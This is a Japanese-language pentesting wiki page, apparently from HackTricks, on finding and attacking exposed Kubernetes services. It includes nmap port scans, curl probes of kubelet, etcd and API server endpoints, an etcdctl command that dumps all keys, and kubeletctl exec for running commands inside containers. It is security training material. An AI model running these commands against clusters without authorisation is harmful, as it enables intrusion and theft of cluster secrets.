# Kubernetesサービスのペンテスト

{{#include ../../../banners/hacktricks-training.md}}

Kubernetesは、**インターネットに公開されている**か、**1つのポッドを侵害した後に内部ネットワークにある**可能性のあるいくつかの**特定のネットワークサービス**を使用します。

## OSINTを使用した公開ポッドの発見

1つの方法は、[crt.sh](https://crt.sh)で`Identity LIKE "k8s.%.com"`を検索して、kubernetesに関連するサブドメインを見つけることです。別の方法は、githubで`"k8s.%.com"`を検索し、文字列を含む**YAMLファイル**を探すことです。

## Kubernetesがサービスを公開する方法

Kubernetesがどのように**サービスを公開するか**を理解することは、見つけるために役立つかもしれません：

{{#ref}}
../exposing-services-in-kubernetes.md
{{#endref}}

## ポートスキャンによる公開ポッドの発見

Kubernetesクラスターで開いている可能性のあるポートは次のとおりです：

| ポート           | プロセス        | 説明                                                                |
| --------------- | -------------- | -------------------------------------------------------------------- |
| 443/TCP         | kube-apiserver | Kubernetes APIポート                                                |
| 2379/TCP        | etcd           |                                                                      |
| 6666/TCP        | etcd           | etcd                                                                 |
| 4194/TCP        | cAdvisor       | コンテナメトリクス                                                  |
| 6443/TCP        | kube-apiserver | Kubernetes APIポート                                                |
| 8443/TCP        | kube-apiserver | Minikube APIポート                                                  |
| 8080/TCP        | kube-apiserver | 安全でないAPIポート                                                |
| 10250/TCP       | kubelet        | フルモードアクセスを許可するHTTPS API                              |
| 10255/TCP       | kubelet        | 認証されていない読み取り専用HTTPポート：ポッド、実行中のポッド、ノードの状態 |
| 10256/TCP       | kube-proxy     | Kube Proxyヘルスチェックサーバー                                   |
| 9099/TCP        | calico-felix   | Calicoのヘルスチェックサーバー                                     |
| 6782-4/TCP      | weave          | メトリクスとエンドポイント                                          |
| 30000-32767/TCP | NodePort       | サービスへのプロキシ                                              |
| 44134/TCP       | Tiller         | Helmサービスリスニング                                            |

### Nmap
```bash
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
```
### Kube-apiserver

これは管理者が通常**`kubectl`**ツールを使用して通信する**API Kubernetesサービス**です。

**一般的なポート: 6443および443**、ただしminikubeでは8443、非安全なものとして8080もあります。
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**このサービスと対話して機密データを取得し、機密アクションを実行する方法を学ぶには、次のページを確認してください：**

{{#ref}}
../kubernetes-enumeration.md
{{#endref}}

### Kubelet API

このサービスは**クラスターのすべてのノードで実行されます**。これは**ノード**内のポッドを**制御**するサービスです。**kube-apiserver**と通信します。

このサービスが公開されているのを見つけた場合、**認証されていないRCE**を見つけた可能性があります。

#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
レスポンスが `Unauthorized` の場合、認証が必要です。

ノードをリストできる場合は、次のコマンドで kubelets エンドポイントのリストを取得できます:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check  also for etcd
done
```
#### kubelet (読み取り専用)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
### etcd API
```bash
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Tiller
```bash
helm --host tiller-deploy.kube-system:44134 version
```
このサービスを悪用してKubernetes内で権限を昇格させることができます：

### cAdvisor

メトリクスを収集するのに便利なサービスです。
```bash
curl -k https://<IP Address>:4194
```
### NodePort

**NodePort**を介してすべてのノードでポートが公開されると、同じポートがすべてのノードで開かれ、トラフィックが宣言された**Service**にプロキシされます。デフォルトでは、このポートは**範囲30000-32767**にあります。したがって、新しい未チェックのサービスはこれらのポートを介してアクセス可能になる可能性があります。
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
## 脆弱な誤設定

### Kube-apiserverの匿名アクセス

**kube-apiserver APIエンドポイントへの匿名アクセスは許可されていません**。しかし、いくつかのエンドポイントを確認することができます：

![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)

### **ETCDの匿名アクセスの確認**

ETCDはクラスターの秘密、設定ファイル、その他の**機密データ**を保存します。**デフォルト**では、ETCDは**匿名で**アクセスできませんが、確認することは常に良いことです。

ETCDに匿名でアクセスできる場合は、**[**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md)**ツールを使用する必要があります。次のコマンドは、保存されているすべてのキーを取得します：
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**

[**Kubeletのドキュメント**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)によると、**デフォルトでは匿名アクセス**がサービスに**許可されています：**

> Kubeletサーバーへの匿名リクエストを有効にします。他の認証方法によって拒否されないリクエストは、匿名リクエストとして扱われます。匿名リクエストのユーザー名は`system:anonymous`で、グループ名は`system:unauthenticated`です。

**Kubelet APIの認証と認可の仕組みをよりよく理解する**には、このページを確認してください：

{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}

**Kubelet**サービスの**APIは文書化されていません**が、ソースコードはここにあり、公開されているエンドポイントを見つけるのは**実行する**のと同じくらい簡単です：
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'

Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
すべて興味深いです。

[**Kubeletctl**](https://github.com/cyberark/kubeletctl) ツールを使用して、Kubelet とそのエンドポイントと対話できます。

#### /pods

このエンドポイントはポッドとそのコンテナをリストします：
```bash
kubeletctl pods
```
#### /exec

このエンドポイントは、任意のコンテナ内でコードを非常に簡単に実行することを可能にします：
```bash
kubeletctl exec [command]
```
> [!NOTE]
> この攻撃を避けるために、_**kubelet**_ サービスは `--anonymous-auth false` で実行されるべきであり、サービスはネットワークレベルで分離されるべきです。

### **Kubelet (読み取り専用ポート) 情報漏洩の確認**

**kubelet 読み取り専用ポート**が公開されると、無許可の第三者がAPIから情報を取得できるようになります。このポートの公開は、さまざまな**クラスター構成要素**の開示につながる可能性があります。**ポッド名、内部ファイルの場所、その他の構成**を含む情報は重要ではないかもしれませんが、その公開は依然としてセキュリティリスクをもたらし、避けるべきです。

この脆弱性がどのように悪用されるかの例として、リモート攻撃者が特定のURLにアクセスすることが挙げられます。`http://<external-IP>:10255/pods`に移動することで、攻撃者はkubeletから機密情報を取得する可能性があります：

![https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)

## 参考文献

{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
{{#endref}}

{{#ref}}
https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}
